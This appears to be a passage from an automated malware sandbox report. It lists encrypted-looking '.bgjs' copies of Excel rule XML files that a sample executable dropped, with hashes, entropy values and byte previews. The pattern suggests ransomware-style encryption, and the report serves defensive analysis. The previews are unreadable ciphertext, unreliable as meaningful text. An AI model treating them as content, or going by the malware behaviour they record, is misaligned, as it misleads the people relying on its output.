U@.K!..].bem.\|%...Hl....~O>..t....5.`*.6R.$..%.;...3.d.<6..&<1..W.d.<SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.682203942001681
Encrypted:	false
SSDEEP:	12:gixmEz+NAGj/MSL4F4ye68QZspBtaxmBO7nYiLLWRj6M1752kGscD1+cii9a:gGzMAS/GZZaBzO7nYiLLwmc752k1cQbD
MD5:	65E254767CA19198B1C69192CF2F082F
SHA1:	5DB0A453349924F0562957C595EC2E8115E7EA6B
SHA-256:	1BE77BBAE107ED85E0D4704B4D81FC583A14C802D88CD67B5BEA4917B1E40635
SHA-512:	D099D7BF5D6B59D267586E4DBA25D899F28D2F87287711E0522E092501B6AA7DEBF379A73C584D8405DF7A031F198BEB62B9E36259F262D129EF2AD1AB011FD0
Malicious:	false
Preview:	<?xml..d/TQn...u...&..,..q'/.J.b.....#p..6V...fp..b..4.?:....%qM..a.f.8"@..6..&...]D..}.w..q....w....H..... S......{........#...[$.}.F.....dO.{...=.\.......y]k.w...<.Q.U.y..7...b.......$B..........=.............VYWL;?.5a....2~.x.......wrV.6........x.BVy.X.I.S.)..A....D,.B....!..Sif}....3.Z....#B.U.3@4..s...N...8..2.r...R..:m.m.P..h..C.Z]d.O...x......[...o.B....Y{..-..S.J}.2.g..g..P....AD.-U$.^........z.....?.N...G;.n.;.m..m69.{<..l..++.i.;3O."_.W....j...v1kA..'..'.[.R...FF..3]....5f(....3o..^i....^'......s2...b..a.....o./h..U./..V..z.!..l.Y.l..K#..m.9...1...m.R..g6.R..o.8.?[.].u/......W9.{....+....E.]..x...<6O?.........j..W ........[.,.b.7.f.YE.`.xWs.W)}.[.2zNY.k..W.6.....{f.D~.l.2'.W.N...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.705616669254756
Encrypted:	false
SSDEEP:	12:nr4n9XOXd8QKMSy01TJZALIMrlXfQ3gTfbcrjNhdd4L/GNW1+cii9a:nr49O503IrxfQwTTajNrU8bD
MD5:	77A196C2CCBAADE0F244097EA3DC70E5
SHA1:	9383DEC7E28415B3F1C18BEA0916633E57EEA0D5
SHA-256:	CE0A478B32EA65A17538CE95D5DB3A11C52C5BC09D76B6B23C2104144E22465E
SHA-512:	522AE50DF40D05B70BA557A63C82DDDAAEA9E8B7E84BC6D27ADA269823E856D56FBA70FC1B67F989717D3CA06CFD57379757F30327E8C6CF491887B84180304E
Malicious:	false
Preview:	<?xml..D.\|"......q8.r.h..-....2..tC.!4.....%f......95...N.Y...A.Vb.o...@.R.....\|Y.g.Q'7.....>...a[\|....?^.2_Z.....[.I."&.-V.y.D./..v.....0.Y.....>....U....c....Uq..m.!..A.A..i!......]fi.}"1..y..T2mv.......U.S^..}...7$.rN..Q..,....?...2..1..\|M..[j.Y.;...9/.a..E..?..s...x..9...B..Fp.I...n.z..H[...o...~.g9\|...Z.}. ..y].b....s.6S=_./.be.3.qR.t....>..'i...j...1S%.#..>?.\|0...s......U..e.D..%..W\|xr....~.}K.R.....&.,6.r.<...0~S.j.BRgb.&.7..O...Oz.c-.,...,....6...C+.*.<M....n.....LE..`...^]u@.d...fWb...yG5.y...<.`.y;w..f....+1...p..W..S..;..=..C.%.&.C..\|..F.A....%...,l.F+.......@...%..kT.n.d .n..<............o...g........+n.C.?.....n..;\|...S;..........qWSSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.73998355798327
Encrypted:	false
SSDEEP:	24:lOe00tLz7w3GVTk19CneuQwaKU+Ir3F0y8HgsbD:lq0gwkjkS9rmHxD
MD5:	050820092B8D08ECAB24BF37CC6BA56B
SHA1:	3969870F84A0CF6EE6FDB132D25D1B713E193C0A
SHA-256:	1133B49D443D5E644C1258BE95F8F8CCB1972B221142B9CDB15C082F216DD26E
SHA-512:	6C138E00986D60820E7EE0688E711D544B6C3345674F796B9C619CC9F8429AAE38EB1EE3DF2AD95E899A35EA1AA6CF2BA62EF6C9A0EB02DDE2033AF62F4B1648
Malicious:	false
Preview:	<?xmlz.B.n.{..X.L..^....\I..8....}.......X.k...l.w.....Wu....P.c.K....Z]...}0.WE.\|.....4Y.k.\..hEV..T7r.,.Sy....}..uS.......H.#..B..Y....Y\|..BR.(U[.K.z._..<...[:(.>C_..$&...B.r7^..2[l...8...t.S&..g.K.c...W...^.....\|....%...FW..Xp...<E.._....y..&.(...oR.+[D.........l`..;....Q.>.$.......m6C.........O......q..1A.5..Lz.........K.&e...F....=...Q..r...0n.........~P.j@..j.Z.....5=.z.D.....,.%..D._........b8..4\|(.aTg...u..9..]y8r.H ...J.i......k.h.6.cg.[.x.....>.."PJS.M.q...q....>FH..e6?.x$/..S..S.m&.x.V....A...,G..T&.j.H.O6.....<..R..'...$.....l^.23$j..P Z....a..B`Y...3T@..Z..d..P..%v:.<...[..c..{.....k[n"#.m..V....5. <!...i.M.-T....{.,fPa..;.(Ffw..Q...8.s...`.>.#.u....Xp....T.+...*..U.+@.L1{6SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.708710929995623
Encrypted:	false
SSDEEP:	12:I/majsHi985o3H4NMpp4uruZQ00LThGQ/0GZIRm8XTrrLu43kG/AGncTxoNWOuwU:I/Bqx5o3H4wVWQNJ//Zb8vm43notVKub
MD5:	DE9D25C02A4355ECA6E45DB0C738CB70
SHA1:	945C83A2A8D66E8A753967CC42E1A6749C685A9A
SHA-256:	9AA2D921C6B301AF2927F274B57189A8FEA956C93A0F74FEC0B18105722F0039
SHA-512:	A37F33DD5343828AFE59807A605F9ABE4C9E4EF9192811942BD645C4151A43A480BF22FB541F3B15EEE040CCBC078726BE6878CE37FF2912E8BC308FEE03062E
Malicious:	false
Preview:	<?xml.t.......~Z......[...A._....V\|t)S):U...f4.......&........d._~e..&l."uxy&4.ZFB.sD...\|.....J..Hx^&.k..ic.......Z..{.D.".E..._........X..;2..D.?.y..x.V.d..[G\..@..'K..h.R\.../<...1.:...x..B.G...U.hC<{t........O.K.....l..0.:.p.!...X....}.-...f.&.....V.I{..#..(...d?......8...../..:...A... wH...j...j...Z%4i....E.....g.(qOP...k.3...o.~... ...{a.j.._.u.'..,G.D/s.k..Z..]....".4..:p...;.._-ee..L\|._.$.......Nr..\|.?8<d...I..t.;...... K.e8s.RWQy......_kJ.!.'c.a5.5v........D>X..#...O@...Ya..a...a..Fx].........V..P.......%>9.`..W.../....z.ns]......!^.\..F.'E..H..... ..g...'.5>.Rs..oP.?.:.SH_.+.....)j:.*..S..6dzZM...+,r.O.B..e...u$O..^(..J....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.7425251305163245
Encrypted:	false
SSDEEP:	12:pliQubxRGNvSHE79IBDhibp3WNIVx9IW+9BOv7jbkzb9NdcvcIsxKQf5z9kap9tp:pqGgk6dibpjD9IW+0jbbctKcz9kiNbD
MD5:	33EF877A95B7D2C5E453A9B9BE1269CA
SHA1:	57E85039913C9CB5C3FCD3BDA6674CA11D1639EB
SHA-256:	3E2E48C04153185F704420A73CC2CE89018F45E30979E05D923CDA2586E62C89
SHA-512:	9A516F829CD6C3B9EE01AAE4A2CB1C088350EE9734CF330981C87B8C429889E1FC86F500CB25EC79BAB7284E0081B25AF956F1C0094E1A0AD131B8CF2B9CCB85
Malicious:	false
Preview:	<?xml79.\.P@....\|.g..O[.E..z..f4..)....q.........<Q..5E...M\|...^...k...q....v....5IJeW.....Ny.J.l...b.....Kuf.+5..73z;.y=0...0R.4....)L.I)m...%..'B(..1....J.%...n.S..>`E.x.A.HsE/+.....d....$.X..'n.....L..1.}Yz?.7......\...j..+64...qN..Y.....:....U8.@=./.8.D.#.U.5..s.....!.....%,...>.4.OR4......s..o9...<.$.$55N]....m&.U....I.S>U...x.dmhAe$.W..G...p...Z..k..F(....F...V.3...X.'.."..e....a.....U.>Q...1{.V...O.....y...{5nd....,..a.._..!lQ..q:.>.l...H..a...D...._.O.._. ..y.k....j....qR.0.F=..xC.Y{....R\|.jy...caC.tHE(.K..\|...)k.G..oF,wH.P.]1-.p.mc5......K.).6..H._....^'....@;[..o-i..45...3JlIE....T.fh..z...DW...c...r....i.b..u=.j...C.=...*.....Y..m....d-..8b..'1D.\|.<..]...8.......q..j.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.758253526606387
Encrypted:	false
SSDEEP:	12:cKh+efQHM/6QbTbkD/7ZQAgXjbgFcYV2TW+TLI8Jv4LckCOprHzX64kG+1AEDlVm:/h+yQdObkDj+AgPgFtVaY8VZkxprHjN/
MD5:	EC12F0ADF3371DE88B00D63BE56FC421
SHA1:	97C590E2BFE513218DBCBF31B3E75184507338A6
SHA-256:	A7989FA0CF25C5FF2A28131EAAB76D1F0E7ACC3DE833855157D9D59432C234EC
SHA-512:	3BC7EDD0549DC2694CB5603C6AA5228B573B1A67B90BB0BEA8262C9BA9B272B5D6F2071BA9F398C785101B38567CDB368683C75DF6150A1DD0CE4E3F76FFC6A7
Malicious:	false
Preview:	<?xmlS>G._..<L5,... 5T......B..m. ..[.G.!t.....y.T.c....U.M......H.K..r...h..o1.3[.y....."....O..&....9.qfb+H.I.W.o-......,.._...\2.._[..dZ......F@.S.. ..].... ....f..A.W.k....N....Y.........3H...'[.).c-..!d..O..#...g...........(z....x....a4...3.VaN.X.......!.d..w.\|x..]......M......V.........W.S.......ZR.1.V..c..>..hH.M.8U..z#.^J..!L..........l.03^).._......@5..\@.$Yo......f;.......t.s.gO...(z.lvu..K...... ....{4.'B7.SWn.....R.......+....]\|...............F..XX..Z....T.....<.k...A.6./..Fm}:..-Ah.vc.7...J.[...A..w..@7:.'.7.}x..7...q.\|..2!.I.#...S.3rx+.0"...w.T..t..&.k$+...!.M....\|>...`.y...po.!.bj......h...I..y..d.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.697353307060628
Encrypted:	false
SSDEEP:	12:TByKK+z9XYj+Bm1ru13rb4zXuKHb3ZCX8Ba0h9SEt7hdOYADw1c92I1+cii9a:tyKK+pS1wP4zXuKH1CXIflt7LkW4wbD
MD5:	66B00477AFA8CDB0160CDE87AED1A94C
SHA1:	F6FB339B07C395CA8B049690CB5822F06CE794AF
SHA-256:	8540533875169F988C4529FBD267A20F4AF89032501102008697262301DA5B5C
SHA-512:	7DE02AF4FE437A21060306F982F83D762240E76BD7670BAC7C1E397B02BEECC6C794B98E2A8F59954144DF0622F224AEE0827468D35E9C8B53CCB547EB3327F9
Malicious:	false
Preview:	<?xml.p.GL........D3.s.g.....N1!.A.1......#..%..vV..dl.I...c.a..e..[f.,^.....U^.F[.96.Bf"...3.S...J>...8.7.....Uu.\|f..X.....r:....=..N.U.p0.m.t....4.Y...[...m.UZ.....%pTD...~:....\|_2.....D..2P.&...>A.C..........g.3+*R....p.^..Fv......7..%..^O..D.........i.~.u.j..F..(....<.(..Q@.hO.`....B..Y}.h.d.-._.f..^.X...lJ:l>..].f.E.EmN_{V<..-y.O....5..K.+..-.qb.tP......uAOgI.....>....N..].LP.f.1..1R.K...c..:.@).....P.'1qE..._uM.....u(Z..v8kF._...+....D.[`..`.>...q...._Y...O..8...W.1C>........\.%..Be;q...j.......y..j..o.yb_@..4.7wh..t........z.ga.)_xCK#vg......8).:..g..DQ.....P.;.h. .f.M.......Y.8M...8..:5#qn..~L.....Okk.......~?..Uf.....'.).V.O.\|m=.....N..cj.6......>...2.I_.!.].......`R.A.Te.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.674262686835613
Encrypted:	false
SSDEEP:	12:AwliO3E1aorqtivXIRjiK3l0zJPtjzgOUvk8ZN1kkCUO0nMc5jwyW1+cii9a:qTAYCgXIjiK3mzzIOp8wyNbD
MD5:	A0455F089EA42E67E64C2BE691EAE439
SHA1:	23B59E1DE4BED12FCB25CC547010313FC379D7E5
SHA-256:	EDECDFF85E0653DE4FDC547726B59736A2FFB3B09986064A6767B2FE95F8AA55
SHA-512:	47F168892433C120FEDD35BD6A6C57ACDA603159AD00DCD8F449B7CE2630F2A04F9082F29D5E47F48E9164EE3B93E6471FCA8C7E7422FA39E4446A01258FB3CC
Malicious:	false
Preview:	<?xml....@L..q.1.. ...._I...;7..8.5y9......l.Z)...S..^vdF.....y.K.EM.:.T..l.%.QG...<>.WG..&$..\|..Sb.4.h3.6..t.k[...[...]...9..p...'...]......,8..&.4............1.k7j..l.S7..l....X.0c...3...k!..@)...c^..5.I..F.Y=.........v.E...m....H.yD....d.Q..nC...F...[.._Qe8.v...s....9..\|.(.....f.l...G1....P..U..K.......?~R40.K>..klNn.il#.......]5......&....R...S.9.....X...@..!...\J....B.h.G#d......{..0D@M.OD)...HY....a. k..+...h...e....'!._...[q......:....M.u...D%..PgN..).2..../.v.W.Oc...."..(V...).G*.8)"e..n..u\.....$..a.G.1y.....(_...........z.zH.a..Z..4.....4".[...\|.....B..?p..H.\|.CaZ00.4..(.3.}.<.".....v..u3&!a...n."SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.735199611641635
Encrypted:	false
SSDEEP:	24:f+iaM1G0gMj/vJ15v28kAQprsDfXVSQsdGbD:mzM1Gjy3xv28kASrufVXD
MD5:	248A9A67FFE5B55C28289B69B10829AC
SHA1:	C0BA11D1C3DC00BE603479922E09ACBAC0BF43FE
SHA-256:	3E9A54EDB53838563E5B4A89691AA148A8CCA8B7F332143F10BEC8B301AC118E
SHA-512:	913C117D1F573A390EA874D5E4EE309A2B18D8D0952DFC09723E87D7B0F75AFB3CB19321A597F48B2D7B286573EBC9EBFC5D76C325517ABD307785F3FD66673A
Malicious:	false
Preview:	<?xml..[.]$.....u..;.5.[XD.I.K........ndU...(&.....).<d.L.,....... ;b.Sx.......TE]2. . ..W.n._..a..............Y..l...O.As...g."...d.t.......M.......?.'.."kc5...B..Y?......:l.K.;.U........<$...yw.=.)99.Q]q/....G...Gp....tw..a/...9%....._...a...q.u..Y.0...\|lA'c......[.n...i<.4.5......\|e........S..`.......i...7.X.......m...........F..n3Z].q.A22.e9.-..Z._..+S.V...f.,_.%.=}.C3o..*].MV.J....g,)S...._.A.3...I..".j.:7.J....'}M.T.#.h+z.e/..k.r....F2c..!....v...W..oJ.I.....k.0..#u.=.#.T.5).....d.,.@..t.7.01..t...+/]`@...2..%...].i\|X.^a..4$.]..;..........t.~.%..QB.$.. .:<4..~...j..i9...GK..A...[$.......k\.E....#..y!....;.>P..Tz......&..v..9qb`3E.T.j. O......%...y..kr;.Fs.~;.c.V.X..c.H.JASLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.712917023595547
Encrypted:	false
SSDEEP:	12:dQYqeM+IAfEeHhasu2uqoSuUtn52eyWwsQJYC1wTA/BF7+ZwHv3ePiV1+cii9a:zlM+br0VPAUeyPsIh9+Z4veaObD
MD5:	288C886715D84BE5357935DB6F0B0694
SHA1:	833AC72B15B2EAE9EC6A09D461694ACE9F23D2ED
SHA-256:	A7B02EAFAC91FDAB297218618D478C25CD05F68F588F5E3A5DE80249F5A7A9FB
SHA-512:	69854B26091FE1561BD6423836D468D970FA5DED5B17D05E0ACF23BBF5F0B1D424A2BEDCA08F6BDE3DA8573B3B33417DBBABB9C03DA42DF0E434D63CC14495FE
Malicious:	false
Preview:	<?xml.&../\|.S...#.....N.....KL..\...{......0..M...>...$.3...I...........Y.J^.1.f.z...>...F.%..1...w...K..+_.....+N2Aq...fj......u.9.8...W.!'.8=.5...!f..iX..(.s%.....v....7......~d.....H..[....6.Q,......'o.....D4N...D....x....]?6..p....x...c.V.\|..RdlP!%.....1..X.6S....h..-....]..4.......y...}...$...N..8..z......B.....<...i...Xo............L.4A.j...&.f.J..........k..a...^...Z..G..%B..-.S..R.k..o...-.e*.o\|{.......QB`..F...dY..k.fo<..%..2.^i.VF...G.p.z._.K..!..k..[."...B+C.d...Aw....(.w.......a.L..V.9@.......v.T.D^.8...F.M.7.Y......kss..0.$,..MF....H.).R;;..H......5......n.)="7...-..b[&y..&.[.x&..b../.I.J4...T...?e......w...&..rzF..&...#SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.72935726818595
Encrypted:	false
SSDEEP:	24:PKucXsWaLWCXOrWP18zDQ8cneCKP2x9wEl8sbD:EsWaPXYy18zDbClxak8mD
MD5:	A8D493B2DAC02A23F9DCBD7B90C20F07
SHA1:	1F61C97AE59686E3DCD3F90F71FC36C2F13FD983
SHA-256:	782FBE4C47C1BABC42EC7F08DA853F831802338B0D5A4536F14925CDB9537DF3
SHA-512:	48012B274CA92F04D70A68B1D2C4300E9EDD3469D13CC270C41C87F599D652618BADDD923E9BBF54D32EA48F98B998F2BF4967AAEB151A1849C64F8B2589E7D4
Malicious:	false
Preview:	<?xml...1..b .=.?.Lsrd..F4.=751...&.%...................=..[V)..w...[e.....J....}i...%X.. .L...,H..k.bD.v.G.._....q.`.......i...[k.........mmb..y. .&..;.....P...%t>s......Y@..%...V....<..\.d@...V.Z.J........g.R}F....e....?t.......f8"I.\|.?...l...........z./^.....B.w.wW.sqB...'.X.}..DZ.N8......;..n.7YS.0=..t......ZYImh..T..b...!.1@!.".r.....".g.0._.+-...\|.{......-..C.S..A_.y....Cr..M@m.SG....{.....R..Dw......*7^..I.~O#....T......b...h:w].P.N3..[i....G.D..=^..H..2...xk.%. lO\|.A.n...m..Y.....P:o..OF...:j..2/..+Ulz..z..k...2P5.$....w...$.V...J.gc...:. .{Y.....GC.~zSs7..w..>......A.I....6....-...."?/CR/}.B..t.........J...8.....4..mh[.\..P.0...~..4.E.@..{.rG..t.._....k...Z,p.}........q........y..v.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.703365247070005
Encrypted:	false
SSDEEP:	12:O8V3XigVHqCGxJ1wqHsow5O7k1MWrHznvlmua0w7T1+cii9a:OUXigM9OoyO7kKWXvIltEbD
MD5:	CA30BEF4B712A9985A627F474DED153D
SHA1:	26D8D37AD472DEB6E2064B96EA19E50D58ABBCF3
SHA-256:	C3ADF1E1BD1587EAACEDE1A3E1836208D9BCC77DDFA21F1F5B0A2A21A9A6E367
SHA-512:	F0F4314FED9262FEE28B25AC6A92567CBFBE29156BFEDCA528AF6B42D61A904319DF0F8211EC12D9B03C59F1C31168FFA12028A8E3478F16EC5D41361DE3E1C9
Malicious:	false
Preview:	<?xml..;EI.....L&.P.B=G......[.O......."...D.\+...h..(..F..lL.n8@...2.m.<.....u,Op.......\Zc$'P....I;.L.of7$O...........9Y.....q.N`.X.R.,..~kX..LO......."@?.'=d..N.....1.l..1.....7.vH...........5..v2Q..K.........1`.y.B8.o.\|.."..V.6...+...~.?~+.0......@H.Q...<...C.g.$0.f..c`..O>NR).....P?o.B.....3.e.B.b.<rL.. .?.....U.#.n.S.K.f.k.".6L.E.&...5..9G...............D....f.2.w.....F.j.+.......\|.e..1.x5....vn.O.....].lk..'c..r._I..6...)MJ..&.H.....b'.NN....@.q}L..ed7...X.........~. .j9.^....~tJ+c.....G..Y..T..>.V.Gf........+ ........B.lX.j.6E...]...f..j.q...z!U..m.....,".D.....h...<2......9&.E.U.q#............f.........oV...h.J.`>\|..(L.h}dR...E...(.7......+.s..{.8.r..k%.F...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.705693890285239
Encrypted:	false
SSDEEP:	24:jt9EFWgHibiaa8Y1CQRbRWM1kNj/r5XE04aTRbD:B9GCbiauBf1izrZpTBD
MD5:	EDB17105945108A261323AC7AC4F401A
SHA1:	55325B77B727C0846F9858DE7A3D6590E7340BD8
SHA-256:	023F2891A28116FD8E92021F635188792F2B280514D15C93FC234FF8F32251D3
SHA-512:	196276BB43991FC8394C6F3F0B47E3D92181FEE3B8421BAD7C3C54FE64F7B630D8460711FAC17802EFE36D70459490DB66DEE38AA15708FC5D3888BF45615F40
Malicious:	false
Preview:	<?xml8:.... .$\<.g<....i...,6[m..4..a1Sz..}..K&g...y...R...D....{.).F^...s......3@.9.....Mu..^7..X&..N...Q9?0.2.w ..5T...-j...Zje......K...p).....;...........z.r..'`..{.Q...c..Aj.^.\Ak... 0.^.....B.^.CE.dm.._..W....4.M....\...A..Qc......e...H..&........>#...;.s{a..\|C.5..8.K.uk.\|>..&P.\|E5.f).'.>.~&.o......-.../.....(.b_.U.5..L..R.2..u.D....L...WY...n.2.b...1..cG8..5^".!..3....Y.ZL.R.*iB..t.....(+sd..E.\.3..........;...,.............{...Z..3.[.qtT.Q..?./.P.@...-AX.;.kT....)......L.91\|..[....8.......Y..q._W... .D...>".2=%..w9K?..2=B.)..-.`f..l!....EO...W..=SI.....Y.-Ki72.7j.....v.."'.i.4.._..T..Ws..8..Ea.....].,#.w.....r.F...a.1.....p.....K/V......N.r..1......S......../k^...KHRu._-%.-w)...V..S7\.. ~.....'.LSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.689449324840776
Encrypted:	false
SSDEEP:	12:HtL8E8s0DmhcHrJeRVzhlQKrB1ja0XuYvgv8qUFq40fOK0pWg1EOr6f1+cii9a:HVws6mhcLJ6v91jjuYvgEqUQaWmf/bD
MD5:	3BB5108C0CD632B23157C29D7572B9ED
SHA1:	E6FDF591BF34C77CE7BF88935376C0EBC11B0B96
SHA-256:	D2027E4CD9F229A469588A6037CA692F1ED3F854A58775A267E23229F677D742
SHA-512:	6E5CA07B49DB598CF5DBCE1DBB2C20A53D7E597319597011A0533397616DA42014688415AFA2E2E3381DFA42930925F27685F481CEC0E66DB1C8A6A69C000F3B
Malicious:	false
Preview:	<?xml....<....t. Y.Rn...l..4.A t1O..C..H..U...?.z.q0.......h....P.....)....1.]G.NvL.5=...S..i..a.l8H.m./......+..SK......?Sc[Lgxf..j....I..Y.z.._..\|..W...&.I.)O.K2.N=p......6.,!......Z..r.e..e0..JU...[...e.[..Y,lj....z..j.`....V..kl....1H...3.....W..a7a(....q.a.#[....Q.3ht....F..Tl7C.s^..>`D....a...0 ......>...]...8..EQ....46sl.Nl.y.gL..M..D3......Fi4s...n-][R7...6"..F..p.d.R.....h..d..`.n~r.gv..8NA.c..0.N.......}.H:Qe1..h.4".2a.,.Yaj.#...;:V k.n.z..A....,.i....mvL.")....].....6...E...0T.0].b`..v...'."..D.`V...$So.P.].........?Z..g"-...n.?..._..}.\....%.uY..N\.B....O.\.w.mL.y'..J>V}...o.'b.SQ3...r.3..P}i.mq....t........Iw....^.f500..tSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.719588334167251
Encrypted:	false
SSDEEP:	24:c/dOme3MUcOoobIccj9gKemprilT2J2QCq7IbIIEbD:ugDcdZoQv3p+w20IlOD
MD5:	BAC3676DB8F82DE9E9802614612988C0
SHA1:	E9F84AEAAF53B9459F9000C808234B495F4D14FE
SHA-256:	ED63030FBC57B8F1437DCE54CAFB11F46D761EED284834DE8F2DEE90C2950BF5
SHA-512:	F14D505BE152A26BA975CE0706744F749CA4CA0ED03646E2C026B8C02C937CE8FDA385C9523BBCAB31ECA7E668ED7454EA904E019F9F4E67649AD2CD44D5F873
Malicious:	false
Preview:	<?xml.,.q...-..2...E....?Z&{.q..Q%.a.lA.....w-...K....M$.k..8-..Vob.1.xG..lb8...p...3...+.V..s....<...@...6...j..:..lq....K..Rgx<.ID.lT....thW.l..]E9..=[...9....ZYdwl0.....B...:`Bk...9.o.O.p5I...n..J...w.4/$.....W..s.W..'&......~p@^>.'....5y....x...v.].8.+.}.X..`q...po...c../....[&.[v.Q..dK.B.[.7#.....GoH.5..7....Ow.....^...+N.i,\|....n.n..X....kDM.qN}g.HP}...j..yU.."......0D.mYy....?..-.[..8o}NG....Y.>.M..&.x..7K.b...o...:.S..Q*.f...9..k..I.5.)..=Z.S(K1.e?V5..9..-...l2\|.A.\|&0...y..H....$S.$...0.Z..3..1...Ka .4&....pF.._SWYn..\e.Z^...../..........p...QH......)..U...&\|9.....n.C.\.M.....Y....?....J%..x.13......;.....@{@<k...:........d'..eC0..F..EF.s.<.....[..}8?...O;....!..Q.X.q.....2..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.6930137021938005
Encrypted:	false
SSDEEP:	12:H93RuNUVpqpF0eU+R6NzABk4igNkhSFbxGtX1L6IDi5QXr3+FM/E+K1+cii9a:d3EYqpF0eU+cmS4/gexGZ1+H0OcdRbD
MD5:	0FC433F5839E35E04D240DA3AFF15CFE
SHA1:	6A29899E9235108A636F9757C3FF410D7875FA6E
SHA-256:	EC4BA453252696539F0AE0280FF2BE039891BBA17699D76108CA3C2FA16F639E
